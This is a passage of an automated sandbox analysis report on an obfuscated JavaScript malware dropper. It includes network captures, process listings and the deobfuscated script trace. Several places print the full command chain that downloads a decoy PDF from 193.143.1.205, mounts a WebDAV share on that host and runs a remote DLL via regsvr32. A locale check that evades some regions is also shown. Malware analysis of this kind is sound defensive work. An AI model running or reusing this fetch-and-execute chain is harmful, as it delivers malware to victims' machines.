Jan 11, 2025 01:16:04.854048014 CET	1.1.1.1	192.168.2.3	0xaa14	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:16:04.854048014 CET	1.1.1.1	192.168.2.3	0xaa14	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:16:05.906296968 CET	1.1.1.1	192.168.2.3	0x71c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	49711	193.143.1.205	80	4960	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:15:55.134824038 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3031 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:15:55.938019037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:15:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:15:55.938097000 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:15:55.938133955 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:15:55.938170910 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 01:15:55.938209057 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 01:15:55.938242912 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 01:15:55.938262939 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 01:15:55.938297033 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 01:15:55.938316107 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 01:15:55.938338995 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 01:15:55.943511009 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.3	49712	193.143.1.205	8888	5168	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:15:57.798219919 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:15:58.586627960 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:15:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:15:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2837518771550414407.js"
Imagebase:	0x7ff739530000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:15:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll
Imagebase:	0x7ff739a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:15:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff720030000
File size:	873'472 bytes
MD5 hash:	7366FBEFE66BA0F1F5304F7D6FEF09FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:15:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6f70b0000
File size:	486'400 bytes
MD5 hash:	DFD66604CA0898E8E26DF7B1635B6326
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:15:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6f24a0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:15:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff739a90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:15:56
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60ae60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:15:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff779d20000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:15:57
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff743e40000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:15:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1628,i,3911696633638114002,12569793280079112653,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff779d20000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gavtzgy() {	gavtzgy() ➔ undefined
1	csavz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xrmsr = this[dlavtf + bvlnrgr + rwjfbxk + xubmyhafb + rbknwn + onfiwis + qmtvojwge + mkbxnd] ( this[tbgvj + jztwdd + angjxbrzh + rwjfbxk + nlusjvqnp + dlavtf + mkbxnd][qvrqybgou + rwjfbxk + rbknwn + bvlnrgr + mkbxnd + rbknwn + rzrapb + uyshn + wxqublps + rbknwn + angjxbrzh + mkbxnd] ( tbgvj + jztwdd + angjxbrzh + rwjfbxk + nlusjvqnp + dlavtf + mkbxnd + eajpyz + jztwdd + vocznvs + rbknwn + wjdhrvaf + wjdhrvaf ) [skoxgtq + rbknwn + fyhqp + skoxgtq + rbknwn + bvlnrgr + mnsmgcw] ( iaoopujcm + cbnwhps + mccfpf + uotwfixg + gmfen + qvrqybgou + cjqlkhxs + skoxgtq + skoxgtq + mccfpf + tyutfz + afuwtfb + gmfen + cjqlkhxs + jztwdd + mccfpf + skoxgtq + ydqbxc + qvrqybgou + xwtubxqn + qmtvojwge + mkbxnd + rwjfbxk + xwtubxqn + wjdhrvaf + jjmnmyhmu + nkeeplr + bvlnrgr + qmtvojwge + rbknwn + wjdhrvaf + ydqbxc + onfiwis + qmtvojwge + mkbxnd + rbknwn + rwjfbxk + qmtvojwge + bvlnrgr + mkbxnd + nlusjvqnp + xwtubxqn + qmtvojwge + bvlnrgr + wjdhrvaf + ydqbxc + fyacdk + xwtubxqn + angjxbrzh + bvlnrgr + wjdhrvaf + rbknwn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( elccg = 0 ; elccg < csavz[wjdhrvaf + rbknwn + qmtvojwge + fyhqp + mkbxnd + vocznvs] ; ++ elccg )
4	{
5	if ( xrmsr == csavz[elccg] )
6	{
7	xrmsr = true;
8	break ;
9	}
10	}
11	if ( xrmsr !== true )
12	this[tbgvj + jztwdd + angjxbrzh + rwjfbxk + nlusjvqnp + dlavtf + mkbxnd][umqjnzvx + jxlqdqoke + nlusjvqnp + mkbxnd] ( );
13	this[tbgvj + jztwdd + angjxbrzh + rwjfbxk + nlusjvqnp + dlavtf + mkbxnd][qvrqybgou + rwjfbxk + rbknwn + bvlnrgr + mkbxnd + rbknwn + rzrapb + uyshn + wxqublps + rbknwn + angjxbrzh + mkbxnd] ( tbgvj + jztwdd + angjxbrzh + rwjfbxk + nlusjvqnp + dlavtf + mkbxnd + eajpyz + jztwdd + vocznvs + rbknwn + wjdhrvaf + wjdhrvaf ) [rwjfbxk + jxlqdqoke + qmtvojwge] ( angjxbrzh + cfyanez + mnsmgcw + jjmnmyhmu + ieftno + angjxbrzh + jjmnmyhmu + dlavtf + xwtubxqn + oshtujni + rbknwn + rwjfbxk + xubmyhafb + vocznvs + rbknwn + wjdhrvaf + wjdhrvaf + eajpyz + rbknwn + tlkhzka + rbknwn + jjmnmyhmu + pbtunw + qvrqybgou + xwtubxqn + cfyanez + cfyanez + bvlnrgr + qmtvojwge + mnsmgcw + jjmnmyhmu + pberfz + onfiwis + qmtvojwge + dapqqhyaj + xwtubxqn + hcozskfm + rbknwn + pbtunw + tbgvj + rbknwn + uyshn + skoxgtq + rbknwn + khrshrb + jxlqdqoke + rbknwn + xubmyhafb + mkbxnd + jjmnmyhmu + pbtunw + rzrapb + jxlqdqoke + mkbxnd + ynxxpr + nlusjvqnp + wjdhrvaf + rbknwn + jjmnmyhmu + gjyrfh + mkbxnd + rbknwn + cfyanez + dlavtf + gjyrfh + ydqbxc + nlusjvqnp + qmtvojwge + dapqqhyaj + xwtubxqn + nlusjvqnp + angjxbrzh + rbknwn + eajpyz + dlavtf + mnsmgcw + rvada + jjmnmyhmu + vocznvs + mkbxnd + mkbxnd + dlavtf + gkxyrd + ieftno + ieftno + lvmovuf + lbgqu + chdorv + eajpyz + lvmovuf + vspcm + chdorv + eajpyz + lvmovuf + eajpyz + objzi + kczxkdes + rcgnqzul + ieftno + nlusjvqnp + qmtvojwge + dapqqhyaj + xwtubxqn + nlusjvqnp + angjxbrzh + rbknwn + eajpyz + dlavtf + vocznvs + dlavtf + pberfz + tcbwred + tcbwred + xubmyhafb + mkbxnd + bvlnrgr + rwjfbxk + mkbxnd + jjmnmyhmu + gjyrfh + mkbxnd + rbknwn + cfyanez + dlavtf + gjyrfh + ydqbxc + nlusjvqnp + qmtvojwge + dapqqhyaj + xwtubxqn + nlusjvqnp + angjxbrzh + rbknwn + eajpyz + dlavtf + mnsmgcw + rvada + tcbwred + tcbwred + angjxbrzh + cfyanez + mnsmgcw + jjmnmyhmu + ieftno + angjxbrzh + jjmnmyhmu + qmtvojwge + rbknwn + mkbxnd + jjmnmyhmu + jxlqdqoke + xubmyhafb + rbknwn + jjmnmyhmu + ydqbxc + ydqbxc + lvmovuf + lbgqu + chdorv + eajpyz + lvmovuf + vspcm + chdorv + eajpyz + lvmovuf + eajpyz + objzi + kczxkdes + rcgnqzul + aflyfh + oqtdvn + oqtdvn + oqtdvn + oqtdvn + ydqbxc + mnsmgcw + bvlnrgr + dapqqhyaj + oshtujni + oshtujni + oshtujni + rwjfbxk + xwtubxqn + xwtubxqn + mkbxnd + ydqbxc + tcbwred + tcbwred + angjxbrzh + cfyanez + mnsmgcw + jjmnmyhmu + ieftno + angjxbrzh + jjmnmyhmu + rwjfbxk + rbknwn + fyhqp + xubmyhafb + dapqqhyaj + rwjfbxk + chdorv + objzi + jjmnmyhmu + ieftno + xubmyhafb + jjmnmyhmu + ydqbxc + ydqbxc + lvmovuf + lbgqu + chdorv + eajpyz + lvmovuf + vspcm + chdorv + eajpyz + lvmovuf + eajpyz + objzi + kczxkdes + rcgnqzul + aflyfh + oqtdvn + oqtdvn + oqtdvn + oqtdvn + ydqbxc + mnsmgcw + bvlnrgr + dapqqhyaj + oshtujni + oshtujni + oshtujni + rwjfbxk + xwtubxqn + xwtubxqn + mkbxnd + ydqbxc + lvmovuf + lbgqu + mdyttwcte + lbgqu + lbgqu + objzi + oqtdvn + kczxkdes + rcgnqzul + vspcm + lvmovuf + mdyttwcte + chdorv + lvmovuf + objzi + eajpyz + mnsmgcw + wjdhrvaf + wjdhrvaf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll",0,false) ➔ 0
14	}
15	mnsmgcw = "B";
16	mnsmgcw = "E";
17	mnsmgcw = "o";
18	mnsmgcw = "O";
19	mnsmgcw = "j";
20	mnsmgcw = "e";
21	mnsmgcw = "D";
22	mnsmgcw = "y";
23	mnsmgcw = "g";
24	mnsmgcw = "Z";
25	mnsmgcw = "g";
26	mnsmgcw = "l";
27	mnsmgcw = "I";
28	mnsmgcw = "p";
29	mnsmgcw = "Q";
30	mnsmgcw = "i";
31	mnsmgcw = "k";
32	mnsmgcw = "l";
33	mnsmgcw = "M";
34	mnsmgcw = "C";
35	mnsmgcw = "Z";
36	mnsmgcw = "a";
37	mnsmgcw = "d";
38	rvada = "W";
39	rvada = "A";
40	rvada = "q";
41	rvada = "k";
42	rvada = "E";
43	rvada = "Y";
44	rvada = "U";
45	rvada = "H";
46	rvada = "f";
47	rvada = "C";
48	rvada = "d";
49	rvada = "c";
50	rvada = "r";
51	rvada = "E";
52	rvada = "j";
53	rvada = "E";
54	rvada = "K";
55	rvada = "x";
56	rvada = "r";
57	rvada = "F";
58	rvada = "H";
59	rvada = "f";
60	jztwdd = "C";
61	jztwdd = "t";
62	jztwdd = "o";
63	jztwdd = "l";
64	jztwdd = "Y";
65	jztwdd = "f";
66	jztwdd = "G";
67	jztwdd = "a";
68	jztwdd = "x";
69	jztwdd = "G";
70	jztwdd = "q";
71	jztwdd = "e";
72	jztwdd = "r";
73	jztwdd = "k";
74	jztwdd = "h";
75	jztwdd = "F";
76	jztwdd = "T";
77	jztwdd = "x";
78	jztwdd = "X";
79	jztwdd = "V";
80	jztwdd = "M";
81	jztwdd = "v";
82	jztwdd = "F";
83	jztwdd = "J";
84	jztwdd = "V";
85	jztwdd = "P";
86	jztwdd = "G";
87	jztwdd = "N";
88	jztwdd = "R";
89	jztwdd = "T";
90	jztwdd = "B";
91	jztwdd = "S";
92	lbgqu = "w";
93	lbgqu = "Y";
94	lbgqu = "w";
95	lbgqu = "q";
96	lbgqu = "Z";
97	lbgqu = "S";
98	lbgqu = "k";
99	lbgqu = "i";
100	lbgqu = "X";
101	lbgqu = "T";
102	lbgqu = "u";
103	lbgqu = "J";
104	lbgqu = "J";
105	lbgqu = "o";
106	lbgqu = "A";
107	lbgqu = "e";
108	lbgqu = "9";
109	khrshrb = "Q";
110	khrshrb = "q";
111	khrshrb = "r";
112	khrshrb = "J";
113	khrshrb = "D";
114	khrshrb = "y";
115	khrshrb = "e";
116	khrshrb = "K";
117	khrshrb = "c";
118	khrshrb = "n";
119	khrshrb = "p";
120	khrshrb = "c";
121	khrshrb = "w";
122	khrshrb = "h";
123	khrshrb = "T";
124	khrshrb = "D";
125	khrshrb = "j";
126	khrshrb = "T";
127	khrshrb = "a";
128	khrshrb = "O";
129	khrshrb = "X";
130	khrshrb = "z";
131	khrshrb = "G";
132	khrshrb = "W";
133	khrshrb = "q";
134	khrshrb = "A";
135	khrshrb = "U";
136	khrshrb = "v";
137	khrshrb = "U";
138	khrshrb = "q";
139	khrshrb = "s";
140	khrshrb = "W";
141	khrshrb = "u";
142	khrshrb = "W";
143	khrshrb = "W";
144	khrshrb = "f";
145	khrshrb = "q";
146	fyacdk = "P";
147	fyacdk = "f";
148	fyacdk = "S";
149	fyacdk = "F";
150	fyacdk = "s";
151	fyacdk = "Y";
152	fyacdk = "k";
153	fyacdk = "f";
154	fyacdk = "a";
155	fyacdk = "i";
156	fyacdk = "i";
157	fyacdk = "e";
158	fyacdk = "O";
159	fyacdk = "h";
160	fyacdk = "m";
161	fyacdk = "D";
162	fyacdk = "W";
163	fyacdk = "Z";
164	fyacdk = "D";
165	fyacdk = "l";
166	fyacdk = "m";
167	fyacdk = "u";
168	fyacdk = "R";
169	fyacdk = "I";
170	fyacdk = "B";
171	fyacdk = "L";
172	fyacdk = "L";
173	cjqlkhxs = "e";
174	cjqlkhxs = "R";
175	cjqlkhxs = "a";
176	cjqlkhxs = "P";
177	cjqlkhxs = "n";
178	cjqlkhxs = "a";
179	cjqlkhxs = "Y";
180	cjqlkhxs = "j";
181	cjqlkhxs = "L";
182	cjqlkhxs = "w";
183	cjqlkhxs = "r";
184	cjqlkhxs = "c";
185	cjqlkhxs = "c";
186	cjqlkhxs = "K";
187	cjqlkhxs = "T";
188	cjqlkhxs = "u";
189	cjqlkhxs = "d";
190	cjqlkhxs = "U";
191	pberfz = "j";
192	pberfz = "X";
193	pberfz = "N";
194	pberfz = "A";
195	pberfz = "A";
196	pberfz = "Z";
197	pberfz = "L";
198	pberfz = "L";
199	pberfz = "f";
200	pberfz = "R";
201	pberfz = "B";
202	pberfz = "s";
203	pberfz = "i";
204	pberfz = "g";
205	pberfz = "b";
206	pberfz = "C";
207	pberfz = "j";
208	pberfz = "p";
209	pberfz = "x";
210	pberfz = "w";
211	pberfz = "I";
212	pberfz = "H";
213	pberfz = "T";
214	pberfz = "f";
215	pberfz = "n";
216	pberfz = "p";
217	pberfz = "r";
218	pberfz = "X";
219	pberfz = "k";
220	pberfz = "e";
221	pberfz = "i";
222	pberfz = "F";
223	pberfz = "h";
224	pberfz = "T";
225	pberfz = "Z";
226	pberfz = "o";
227	pberfz = "l";
228	pberfz = "W";
229	pberfz = "B";
230	pberfz = "\"";
231	rzrapb = "n";
232	rzrapb = "h";
233	rzrapb = "h";
234	rzrapb = "z";
235	rzrapb = "P";
236	rzrapb = "b";
237	rzrapb = "P";
238	rzrapb = "i";
239	rzrapb = "r";
240	rzrapb = "n";
241	rzrapb = "I";
242	rzrapb = "C";
243	rzrapb = "T";
244	rzrapb = "p";
245	rzrapb = "W";
246	rzrapb = "I";
247	rzrapb = "q";
248	rzrapb = "j";
249	rzrapb = "A";
250	rzrapb = "S";
251	rzrapb = "e";
252	rzrapb = "S";
253	rzrapb = "t";
254	rzrapb = "T";
255	rzrapb = "H";
256	rzrapb = "W";
257	rzrapb = "Y";
258	rzrapb = "p";
